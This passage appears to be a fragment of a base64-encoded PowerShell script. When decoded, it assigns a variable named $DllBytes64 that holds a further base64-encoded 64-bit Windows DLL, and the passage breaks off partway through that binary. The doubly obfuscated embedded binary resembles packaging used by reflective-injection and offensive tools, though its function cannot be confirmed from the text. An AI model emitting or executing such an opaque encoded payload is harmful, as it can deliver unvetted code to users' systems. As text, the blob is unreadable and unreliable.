QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBPT0iCiAgICAkRGxsQnl0ZXM2NCA9ICJUVnFRQUFNQUFBQUVBQUFBLy84QUFMZ0FBQUFBQUFBQVFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQTJBQUFBQTRmdWc0QXRBbk5JYmdCVE0waFZHaHBjeUJ3Y205bmNtRnRJR05oYm01dmRDQmlaU0J5ZFc0Z2FXNGdSRTlUSUcxdlpHVXVEUTBLSkFBQUFBQUFBQUIwOFVkZE1KQXBEakNRS1E0d2tDa09LdzJDRGltUUtRNHJEWU1PRHBBcERpc050dzQ1a0NrT09laTZEamVRS1E0d2tDZ09lWkFwRGlzTmhnNHprQ2tPS3cyMERqR1FLUTVTYVdOb01KQXBEZ0FBQUFBQUFBQUFVRVVBQUdTR0JnQTlBRUpXQUFBQUFBQUFBQUR3QUNJZ0N3SUtBQUJZQUFBQVVnQUFBQUFBQU1nVEFBQUFFQUFBQUFBQWdBRUFBQUFBRUFBQUFBSUFBQVVBQWdBQUFBQUFCUUFDQUFBQUFBQUFFQUVBQUFRQUFDVWZBUUFDQUVBQkFBQVFBQUFBQUFBQUVBQUFBQUFBQUFBQUVBQUFBQUFBQUJBQUFBQUFBQUFBQUFBQUVBQUFBQUFBQUFBQUFBQUFESjBBQUZBQUFBQUE4QUFBdEFFQUFBRGdBQURjQlFBQUFBQUFBQUFBQUFBQUFBRUFOQUlBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQndBQUFZQWdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTG5SbGVIUUFBQUE2VmdBQUFCQUFBQUJZQUFBQUJBQUFBQUFBQUFBQUFBQUFBQUFBSUFBQVlDNXlaR0YwWVFBQVFEUUFBQUJ3QUFBQU5nQUFBRndBQUFBQUFBQUFBQUFBQUFBQUFFQUFBRUF1WkdGMFlRQUFBRUFpQUFBQXNBQUFBQkFBQUFDU0FBQUFBQUFBQUFBQUFBQUFBQUJBQUFEQUxuQmtZWFJoQUFEY0JRQUFBT0FBQUFBR0FBQUFvZ0FBQUFBQUFBQUFBQUFBQUFBQVFBQUFRQzV5YzNKakFBQUF0QUVBQUFEd0FBQUFBZ0FBQUtnQUFBQUFBQUFBQUFBQUFBQUFBRUFBQUVBdWNtVnNiMk1BQUs0REFBQUFBQUVBQUFRQUFBQ3FBQUFBQUFBQUFBQUFBQUFBQUFCQUFBQkNBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFFaUQ3R2hJaXdYMW53QUFTRFBFU0lsRUpGQzUrZ0FBQVA4VkNtQUFBUDhWREdBQUFFeU5SQ1F3U0l2SXV2OEJEd0QvRmRsZkFBQ0Z3QStFbkFBQUFFeU5SQ1E0U0kwVjVZUUFBRFBKL3hXMVh3QUFoY0FQaElBQUFBQklpMFFrT0VpTFRDUXdTSU5rSkNnQVNJTmtKQ0FBVEkxRUpFQkJ1UkFBQUFBejBraUpSQ1JFeDBRa1FBRUFBQURIUkNSTUFnQUFBUDhWWjE4QUFJWEFkRDVJaTB3a01QOFZlRjhBQUlOa0pDZ0FTSU5rSkNBQVRJME5sb1FBQUV5TkJlZUVBQUJJalJYOGhBQUFNOG4vRlRoaEFBQzU2QU1BQVA4VlRWOEFBRFBBU0l0TUpGQklNOHpvUmdBQUFFaUR4R2pEekVCVFNJUHNJTGtFQVFBQWk5cm9UZ0FBQVAvTGRRWG85ZjcvLzdnQkFBQUFTSVBFSUZ2RHpNek16TXpNek16TXpNek16TXpNekdabUR4K0VBQUFBQUFCSU93M0puZ0FBZFJGSXdjRVFadmZCLy85MUF2UERTTUhKRU9tNUFnQUF6T2x2QkFBQXpNek1USWxFSkJoVFNJUHNJRW1MMklQNkFYVjk2SjBZQUFDRndIVUhNOERwS2dFQUFPajFDUUFBaGNCMUIramNHQUFBNitub0RSZ0FBUDhWczE0QUFFaUpCWnpBQUFEb0J4Y0FBRWlKQmFDdEFBRG91dzhBQUlYQWVRZm93Z1lBQU92TDZQTVZBQUNGd0hnZjZPb1NBQUNGd0hnV004bm9FdzBBQUlYQWRRdi9CV1d0QUFEcHZ3QUFBT2hYRWdBQTY4cUYwblZOaXdWUHJRQUFoY0FQam5yLy8vLy95SWtGUDYwQUFEa1ZOYk1BQUhVRjZDSVBBQUJJaGR0MUVPZ2tFZ0FBNkZzR0FBRG9RaGdBQUpCSWhkdDFkNE05TFo0QUFQOTBidWhDQmdBQTYyZUQrZ0oxVnVneUJnQUF1c2dDQUFDNUFRQUFBT2huQ2dBQVNJdllTSVhBRDRRVy8vLy9TSXZRaXczMm5RQUEveFhVWFFBQVNJdkxoY0IwRmpQUzZDWUdBQUQvRmJoZEFBQ0pBMGlEU3dqLzZ4Ym9hZ2tBQU9uZy92Ly9nL29EZFFjenllaVZDQUFBdUFFQUFBQklnOFFnVzhQTXpFaUpYQ1FJU0lsMEpCQklpWHdrR0VGVVNJUHNNRW1MOEl2YVRJdmh1QUVBQUFDRjBuVVBPUlZvckFBQWRRY3p3T25RQUFBQWcvb0JkQVdEK2dKMU0weUxEWDVmQUFCTmhjbDBCMEgvMFlsRUpDQ0Z3SFFWVEl2R2k5TkppOHpvU2Y3Ly80bEVKQ0NGd0hVSE04RHBrd0FBQUV5THhvdlRTWXZNNk1YOS8vK0wrSWxFSkNDRCt3RjFOWVhBZFRGTWk4WXowa21Mek9pcC9mLy9USXZHTTlKSmk4em9CUDcvLzB5TEhSVmZBQUJOaGR0MEMweUx4alBTU1l2TVFmL1RoZHQwQllQN0EzVTNUSXZHaTlOSmk4em8xLzMvLy9mWUc4a2p6NHY1aVV3a0lIUWNTSXNGMmw0QUFFaUZ3SFFRVEl2R2k5TkppOHovMEl2NGlVUWtJSXZINndJendFaUxYQ1JBU0l0MEpFaElpM3drVUVpRHhEQkJYTVBNU0lsY0pBaElpWFFrRUZkSWcrd2dTWXY0aTlwSWkvR0QrZ0YxQmVoL0dBQUFUSXZIaTlOSWk4NUlpMXdrTUVpTGRDUTRTSVBFSUYvcHAvNy8vOHpNekVpSlRDUUlTSUhzaUFBQUFFaU5EZVdyQUFEL0ZWOWNBQUJJaXdYUXJBQUFTSWxFSkZoRk04QklqVlFrWUVpTFRDUlk2RjFRQUFCSWlVUWtVRWlEZkNSUUFIUkJTTWRFSkRnQUFBQUFTSTFFSkVoSWlVUWtNRWlOUkNSQVNJbEVKQ2hJalFXUXF3QUFTSWxFSkNCTWkwd2tVRXlMUkNSWVNJdFVKR0F6eWVnTFVBQUE2eUpJaTRRa2lBQUFBRWlKQlZ5c0FBQklqWVFraUFBQUFFaUR3QWhJaVFYcHF3QUFTSXNGUXF3QUFFaUpCYk9xQUFCSWk0UWtrQUFBQUVpSkJiU3JBQURIQllxcUFBQUpCQURBeHdXRXFnQUFBUUFBQUVpTEJSbWJBQUJJaVVRa2FFaUxCUldiQUFCSWlVUWtjUDhWYWxzQUFJa0Y5S29BQUxrQkFBQUE2QTRZQUFBenlmOFZTbHNBQUVpTkRWdGRBQUQvRlRWYkFBQ0RQYzZxQUFBQWRRcTVBUUFBQU9qbUZ3QUEveFgwV2dBQXVna0VBTUJJaThqL0ZRWmJBQUJJZ2NTSUFBQUF3OHpNU0kwRk5WMEFBRWlKQWVtNUdBQUF6RWlKWENRSVYwaUQ3Q0JJalFVYlhRQUFpOXBJaS9sSWlRSG9taGdBQVBiREFYUUlTSXZQNkVFWkFBQklpOGRJaTF3a01FaUR4Q0Jmdzh6TXpFQlRTSVBzSUVpTDJlaTZHQUFBVEkwZDIxd0FBRXlKRzBpTHcwaUR4Q0Jidzh6TXpFQlRTSVBzUUVpTDJlc1BTSXZMNkNrYkFBQ0Z3SFFUU0l2TDZGMGFBQUJJaGNCMDUwaUR4RUJidzRzRjlLNEFBRUc0QVFBQUFFaU5IWTljQUFCQmhNQjFPVUVMd0VpTlZDUllTSTBOdTY0QUFJa0Z6YTRBQUVpTkJYNWNBQUJJaVVRa1dPajRGZ0FBU0kwTjdVOEFBRWlKSFphdUFBRG82UmtBQUVpTkZZcXVBQUJJalV3a0lPZ1lHQUFBU0kwVk1ZWUFBRWlOVENRZ1NJbGNKQ0RvemhvQUFNek1USXZjU1lsYkNFbUpheGhKaVhNZ1NZbFRFRmRCVkVGVlFWWkJWMGlEN0VCTmkza0lUWXN4aTBFRVNZdDVPRTByOTAyTDRVeUw2a2lMNmFobUQ0WHRBQUFBU1dOeFNFbUpTOGhOaVVQUVNJdkdPemNQZzRFQkFBQklBOEJJalZ6SERJdEQrRXc3OEErQ3FBQUFBSXREL0V3NzhBK0RuQUFBQUlON0JBQVBoSklBQUFDRE93RjBHWXNEU0kxTUpEQkppOVZKQThmLzBJWEFENGlKQUFBQWZuU0JmUUJqYzIzZ2RTaElnejBXdXdBQUFIUWVTSTBORGJzQUFPaW9Hd0FBaGNCMERyb0JBQUFBU0l2Ti94WDJ1Z0FBaTBzRVFiZ0JBQUFBU1l2VlNRUFA2TUlhQUFCSmkwUWtRSXRUQkV4alRRQklpVVFrS0VtTFJDUW9TUVBYVEl2RlNZdk5TSWxFSkNEL0ZSQlpBQURvd3hvQUFQL0dTSVBERURzM0Q0TzNBQUFBNlRuLy8vOHp3T213QUFBQVRZdEJJRFB0UlRQdFRTdkhxQ0IwT3pQU09SZDJOVWlOVHdpTFFmeE1POEJ5QjRzQlREdkFkZ3ovd2tpRHdSQTdGM01ZNitXTHdrZ0R3SXRNeHhDRnlYVUdpMnpIRE9zRFJJdnBTV054U0VpTDNqczNjMVZJLzhOSXdlTUVTQVBmaTBQMFREdndjam1MUS9oTU8vQnpNVVdGN1hRRlJEc3JkREdGN1hRRk8ydjhkQ2lET3dCMUdVaUxWQ1I0alVZQnNRRkJpVVFrU0VTTFEveE5BOGRCLzlEL3hraUR3eEE3TjNLMXVBRUFBQUJNalZ3a1FFbUxXekJKaTJ0QVNZdHpTRW1MNDBGZlFWNUJYVUZjWDhQTXpNd3p5VWovSlI5WUFBRE16TXd6d01QTVNJUHNLSXNOMnBjQUFJUDUvM1FOL3hVVFdBQUFndzNJbHdBQS8waUR4Q2pwK3hvQUFNek16RWlKWENRSVYwaUQ3Q0JJaS9wSWk5bElqUVVwV2dBQVNJbUJvQUFBQUlOaEVBREhRUndCQUFBQXg0SElBQUFBQVFBQUFNYUJkQUVBQUVQR2dmY0JBQUJEU0kwRmVKNEFBRWlKZ2JnQUFBQzVEUUFBQU9nbkhBQUFrRWlMZzdnQUFBRHcvd0M1RFFBQUFPZ1NHd0FBdVF3QUFBRG9DQndBQUpCSWlidkFBQUFBU0lYL2RRNUlpd1VrbmdBQVNJbUR3QUFBQUVpTGk4QUFBQURvSlJ3QUFKQzVEQUFBQU9qV0dnQUFTSXRjSkRCSWc4UWdYOFBNek14SWlWd2tDRmRJZyt3Zy94VklWd0FBaXczdWxnQUFpL2ovRlNKWEFBQklpOWhJaGNCMVNJMUlBYnJJQWdBQTZDMERBQUJJaTloSWhjQjBNNHNOdzVZQUFFaUwwUDhWbmxZQUFFaUx5NFhBZEJZejB1ancvdi8vL3hXQ1ZnQUFTSU5MQ1ArSkErc0g2RFFDQUFBejI0dlAveFhhVmdBQVNJdkRTSXRjSkRCSWc4UWdYOE5BVTBpRDdDRG9jZi8vLzBpTDJFaUZ3SFVJalVnUTZFa0hBQUJJaThOSWc4UWdXOE5JaGNrUGhDa0JBQUJJaVZ3a0VGZElnK3dnU0l2WlNJdEpPRWlGeVhRRjZOUUJBQUJJaTB0SVNJWEpkQVhveGdFQUFFaUxTMWhJaGNsMEJlaTRBUUFBU0l0TGFFaUZ5WFFGNktvQkFBQklpMHR3U0lYSmRBWG9uQUVBQUVpTFMzaEloY2wwQmVpT0FRQUFTSXVMZ0FBQUFFaUZ5WFFGNkgwQkFBQklpNHVnQUFBQVNJMEZWMWdBQUVnN3lIUUY2R1VCQUFDL0RRQUFBSXZQNklFYUFBQ1FTSXVMdUFBQUFFaUpUQ1F3U0lYSmRCencvd2wxRjBpTkJhT2NBQUJJaTB3a01FZzd5SFFHNkN3QkFBQ1FpOC9vVEJrQUFMa01BQUFBNkVJYUFBQ1FTSXU3d0FBQUFFaUYvM1FyU0l2UDZQMGFBQUJJT3oxV25BQUFkQnBJalFYdG1nQUFTRHY0ZEE2RFB3QjFDVWlMeitoL0d3QUFrTGtNQUFBQTZBQVpBQUJJaTh2bzBBQUFBRWlMWENRNFNJUEVJRi9EekVCVFNJUHNJRWlMMllzTkdaVUFBSVA1LzNRa1NJWGJkUS8vRlVWVkFBQ0xEUU9WQUFCSWk5Z3owdjhWM0ZRQUFFaUx5K2lVL3YvL1NJUEVJRnZEek14QVUwaUQ3Q0Rvc1FJQUFPaVFGd0FBaGNCMFlFaU5EWEgrLy8vL0ZTTlZBQUNKQmNHVUFBQ0QrUDkwU0xySUFnQUF1UUVBQUFEb0NRRUFBRWlMMkVpRndIUXhpdzJmbEFBQVNJdlEveFY2VkFBQWhjQjBIalBTU0l2TDZNejgvLy8vRlY1VUFBQklnMHNJLzRrRHVBRUFBQURyQitpTC9QLy9NOEJJZzhRZ1c4UE16TXhJaGNsME4xTklnK3dnVEl2QlNJc05US29BQURQUy94V3NWQUFBaGNCMUYrajNKUUFBU0l2WS94V0tWQUFBaThqb255VUFBSWtEU0lQRUlGdkR6TXpNU0l2RVNJbFlDRWlKYUJCSWlYQVlTSWw0SUVGVVNJUHNJSXM5bGFnQUFEUHRTSXZ4UVlQTS8waUx6dWpZRXdBQVNJdllTSVhBZFNpRi8zUWtpODMvRmF4VEFBQ0xQV3FvQUFCRWpaM29Bd0FBUkR2ZlFZdnJRUTlIN0VFNzdIWElTSXRzSkRoSWkzUWtRRWlMZkNSSVNJdkRTSXRjSkRCSWc4UWdRVnpEek14SWk4UklpVmdJU0lsb0VFaUpjQmhJaVhnZ1FWUklnK3dnTS85SWkvSklpK2xCZzh6L1JUUEFTSXZXU0l2TjZFa2xBQUJJaTloSWhjQjFLamtGODZjQUFIWWlpOC8vRlNWVEFBQkVqWi9vQXdBQVJEc2QyNmNBQUVHTCswRVBSL3hCTy94MXdFaUxiQ1E0U0l0MEpFQklpM3drU0VpTHcwaUxYQ1F3U0lQRUlFRmN3OHhJaThSSWlWZ0lTSWxvRUVpSmNCaElpWGdnUVZSSWcrd2dNL1pJaS9wSWkrbEJnOHovU0l2WFNJdk42R1FsQUFCSWk5aEloY0IxTDBpRi8zUXFPUVZ0cHdBQWRpS0x6djhWbjFJQUFFU05udWdEQUFCRU94MVZwd0FBUVl2elFROUg5RUU3OUhXK1NJdHNKRGhJaTNRa1FFaUxmQ1JJU0l2RFNJdGNKREJJZzhRZ1FWekR6TXpNUUZOSWcrd2dpOWxJalEzdFZBQUEveFgzVWdBQVNJWEFkQmxJalJYTFZBQUFTSXZJL3hYYVVnQUFTSVhBZEFTTHkvL1FTSVBFSUZ2RHpNek1RRk5JZyt3Z2k5bm90Ly8vLzR2TC94WERVZ0FBek16TXVRZ0FBQURwL2hZQUFNek11UWdBQUFEcDhoVUFBTXpNUUZOSWcrd2c2QzM2Ly85SWk4aElpOWpvc2hJQUFFaUx5K2dPS0FBQVNJdkw2UDRuQUFCSWk4dm83aWNBQUVpTHkraUNKUUFBU0l2TFNJUEVJRnZwVlNVQUFNeElPOHB6TFVpSlhDUUlWMGlEN0NCSWkvcElpOWxJaXdOSWhjQjBBdi9RU0lQRENFZzczM0x0U0l0Y0pEQklnOFFnWDhQTVNJbGNKQWhYU0lQc0lEUEFTSXY2U0l2WlNEdktjeGVGd0hVVFNJc0xTSVhKZEFMLzBVaUR3d2hJTzk5eTZVaUxYQ1F3U0lQRUlGL0R6TXpNU0lsY0pBaFhTSVBzSUVpRFBTcXpBQUFBaTlsMEdFaU5EUit6QUFEb3loTUFBSVhBZEFpTHkvOFZEck1BQU9oZEtRQUFTSTBWSWxNQUFFaU5EUU5UQUFEb2Z2Ly8vNFhBZFZwSWpRMmZDZ0FBNk80UUFBQklqUjNYVWdBQVNJMDkyRklBQU9zT1NJc0RTSVhBZEFMLzBFaUR3d2hJTzk5eTdVaURQY095QUFBQWRCOUlqUTI2c2dBQTZGMFRBQUNGd0hRUFJUUEFNOGxCalZBQy94V2lzZ0FBTThCSWkxd2tNRWlEeENCZnc4eElpVndrQ0VpSmRDUVFSSWxFSkJoWFFWUkJWVUZXUVZkSWcreEFSWXZnaTlwRWkvbTVDQUFBQU9oZUZRQUFrSU05ZHFVQUFBRVBoQUVCQUFESEJXS2xBQUFCQUFBQVJJZ2xWNlVBQUlYYkQ0WFVBQUFBU0lzTklMSUFBUDhWNmxBQUFFaUw4RWlKUkNRd1NJWEFENFNqQUFBQVNJc04rckVBQVA4VnpGQUFBRWlMK0VpSlJDUWdUSXYyU0lsMEpDaE1pK2hJaVVRa09FaUQ3d2hJaVh3a0lFZzcvbkp3NkNuNC8vOUlPUWQxQXV2bVNEditjbDlJaXcvL0ZZeFFBQUJJaTlqb0RQai8vMGlKQi8vVFNJc05xTEVBQVA4VmNsQUFBRWlMMkVpTERaQ3hBQUQvRldKUUFBQk1PL04xQlV3NzZIUzhUSXZ6U0lsY0pDaElpL05JaVZ3a01FeUw2RWlKUkNRNFNJdjRTSWxFSkNEcm1raU5GWjlSQUFCSWpRMlFVUUFBNkxmOS8vOUlqUldjVVFBQVNJME5qVkVBQU9pay9mLy9rRVdGNUhRUHVRZ0FBQURvUUJNQUFFV0Y1SFVteHdWUnBBQUFBUUFBQUxrSUFBQUE2Q2NUQUFCQmk4L293L3ovLzBHTHovOFZ6azhBQU14SWkxd2tjRWlMZENSNFNJUEVRRUZmUVY1QlhVRmNYOFBNUlRQQVFZMVFBZWxrL3YvL005SXp5VVNOUWdIcFYvNy8vOHpNekVCVFNJUHNJSXZaNk9zcEFBQ0x5K2lFSndBQVJUUEF1ZjhBQUFCQmpWQUI2Qy8rLy8vTXpNeElpVndrQ0VpSmJDUVFTSWw4SkJoQlZFRlZRVlpJZ2V5UUFBQUFTSTFNSkNEL0ZYbFBBQUM2V0FBQUFJMXF5SXZONkJyNy8vOUZNL1pJaTlCSWhjQjFDSVBJLytsckFnQUFTSWtGU0s0QUFFZ0ZBQXNBQUl2TmlRMHlyZ0FBU0R2UWMwVklnOElKU0lOSzkvOW14MEwvQUFwRWlYSURac2RDTHdBS3hrSXhDa1NKY2tkRWlISkRTSXNGQ2E0QUFFaUR3bGhJalVyM1NBVUFDd0FBU0R2SWNzV0xEZWl0QUFCbVJEbDBKR0lQaERRQkFBQklpMFFrYUVpRndBK0VKZ0VBQUV4aklMc0FDQUFBVEkxb0JFMEQ1VGtZRDB3WU84c1BqWWNBQUFCSWpUMjdyUUFBdWxnQUFBQklpODNvWHZyLy8waUZ3SFJvaXhXVHJRQUFTSTJJQUFzQUFFaUpCd1BWaVJXQnJRQUFTRHZCYzBGSWpWQUpTSU5LOS8rQVlpK0Fac2RDL3dBS1JJbHlBMmJIUWpBS0NrU0pja2RFaUhKRFNJc0hTSVBDV0VpTlN2ZElCUUFMQUFCSU84aHl5WXNWTzYwQUFFaUR4d2c3MDN5STZ3YUxIU3V0QUFCQmkvNkYyMzU4U1lNOEpQOTBhRW1EUENUK2RHRkI5a1VBQVhSYVFmWkZBQWgxRGttTERDVC9GUVpPQUFDRndIUkZTR1B2U0kwTitLd0FBTHFnRHdBQVNJdkZnK1VmU01INEJVaHI3VmhJQXl6QlNZc0VKRWlKUlFCQmlrVUFTSTFORUloRkNQOFZ3RTBBQUlYQUQ0UnAvdi8vLzBVTS84ZEovOFZKZzhRSU8vdDhoRVdMNWttTDNraUxQYU9zQUFCSWd6dzcvM1FSU0lNOE8vNTBDb0JNT3dpQTZZVUFBQUJCalVRay84WkVPd2lCOTlpNDl2Ly8veHZKZzhIMVJZWGtEMFRJL3hWWlRRQUFTSXZvU0lQNC8zUk5TSVhBZEVoSWk4ai9GVkpOQUFDRndIUTdEN2JBU0lrc080UDRBblVIZ0V3N0NFRHJDb1A0QTNVRmdFdzdDQWhJalV3N0VMcWdEd0FBL3hVWlRRQUFoY0FQaE1MOS8vLy9SRHNNNncyQVREc0lRRWpIQkR2Ky8vLy9TSVBEV0VIL3hFaUIrd2dCQUFBUGpFai8vLytMRGVTckFBRC9GYzVNQUFBendFeU5uQ1NRQUFBQVNZdGJJRW1MYXloSmkzc3dTWXZqUVY1QlhVRmN3OHpNU0lsY0pBaElpWFFrRUZkSWcrd2dTSTBkcnFzQUFMNUFBQUFBU0lzN1NJWC9kRGRJalljQUN3QUE2eDJEZnd3QWRBcElqVThRL3hXWVRBQUFTSXNEU0lQSFdFZ0ZBQXNBQUVnNytITGVTSXNMNkdiMy8vOUlneU1BU0lQRENFai96blc0U0l0Y0pEQklpM1FrT0VpRHhDQmZ3OHhJaVZ3a0NFaUpiQ1FRU0lsMEpCaFhTSVBzTUlNOVRhMEFBQUIxQmVqU0hBQUFTSXNkYjVvQUFEUC9TSVhiZFJ1RHlQL3B0QUFBQUR3OWRBTC94MGlMeStqNkpnQUFTSTFjQXdHS0E0VEFkZWVOUndHNkNBQUFBRWhqeU9pbjkvLy9TSXY0U0lrRjdaOEFBRWlGd0hUQVNJc2RJWm9BQUlBN0FIUlFTSXZMNkx3bUFBQ0FPejJOY0FGMExraGo3cm9CQUFBQVNJdk42R3ozLy85SWlRZEloY0IwYzB5THcwaUwxVWlMeU9nYUpnQUFoY0IxUzBpRHh3aElZOFpJQTlpQU93QjF0MGlMSGN5WkFBQklpOHZvZFBiLy8waURKYnlaQUFBQVNJTW5BTWNGWnF3QUFBRUFBQUF6d0VpTFhDUkFTSXRzSkVoSWkzUWtVRWlEeERCZncwaURaQ1FnQUVVenlVVXp3RFBTTThubzZpRUFBTXhJaXcwNm53QUE2Q1gyLy85SWd5VXRud0FBQU9rQS8vLy9TSXZFU0lsWUNFaUphQkJJaVhBWVNJbDRJRUZVUVZWQlZraUQ3Q0JNaTJ3a1lFMkw4VW1MK0VHRFpRQUFUSXZpU0l2WlFjY0JBUUFBQUVpRjBuUUhUSWtDU1lQRUNEUHRnRHNpZFJFendJWHRRTFlpRDVUQVNQL0RpK2pyT1VIL1JRQkloZjkwQjRvRGlBZEkvOGNQdGpOSS84T0x6dWk1SmdBQWhjQjBFMEgvUlFCSWhmOTBCNG9EaUFkSS84ZEkvOE5BaFBaMEc0WHRkYTFBZ1A0Z2RBWkFnUDRKZGFGSWhmOTBDY1pIL3dEckEwai95elAyZ0RzQUQ0VGpBQUFBZ0RzZ2RBV0FPd2wxQlVqL3crdnhnRHNBRDRUTEFBQUFUWVhrZEFoSmlUd2tTWVBFQ0VIL0Jyb0JBQUFBTThuckJVai93Ly9CZ0R0Y2RQYUFPeUoxTm9US2RSMkY5blFPU0kxREFZQTRJblVGU0l2WTZ3c3p3RFBTaGZZUGxNQ0w4TkhwNnhIL3lVaUYvM1FHeGdkY1NQL0hRZjlGQUlYSmRldUtBNFRBZEUrRjluVUlQQ0IwUnp3SmRFT0YwblEzRDc3STZOd2xBQUJJaGY5MEc0WEFkQTZLQTBqL3c0Z0hTUC9IUWY5RkFJb0RpQWRJLzhmckM0WEFkQWRJLzhOQi8wVUFRZjlGQUVqL3crbFovLy8vU0lYL2RBYkdCd0JJLzhkQi8wVUE2UlQvLy85TmhlUjBCVW1ESkNRQVFmOEdTSXRjSkVCSWkyd2tTRWlMZENSUVNJdDhKRmhJZzhRZ1FWNUJYVUZjdzh4SWlWd2tHRWlKZENRZ1YwaUQ3RENEUFZLcUFBQUFkUVhvMXhrQUFFaU5QWHlkQUFCQnVBUUJBQUF6eVVpTDE4WUZicDRBQUFEL0ZTeEpBQUJJaXgxRnFnQUFTSWs5THAwQUFFaUYyM1FGZ0RzQWRRTklpOTlJalVRa1NFeU5UQ1JBUlRQQU05SklpOHRJaVVRa0lPaTkvZi8vU0dOMEpFQkl1Zi8vLy8vLy8vOGZTRHZ4YzF4SVkwd2tTRWlEK2Y5elVVaU5GUEZJTzlGeVNFaUx5dWpsOC8vL1NJdjRTSVhBZERoTWpRVHd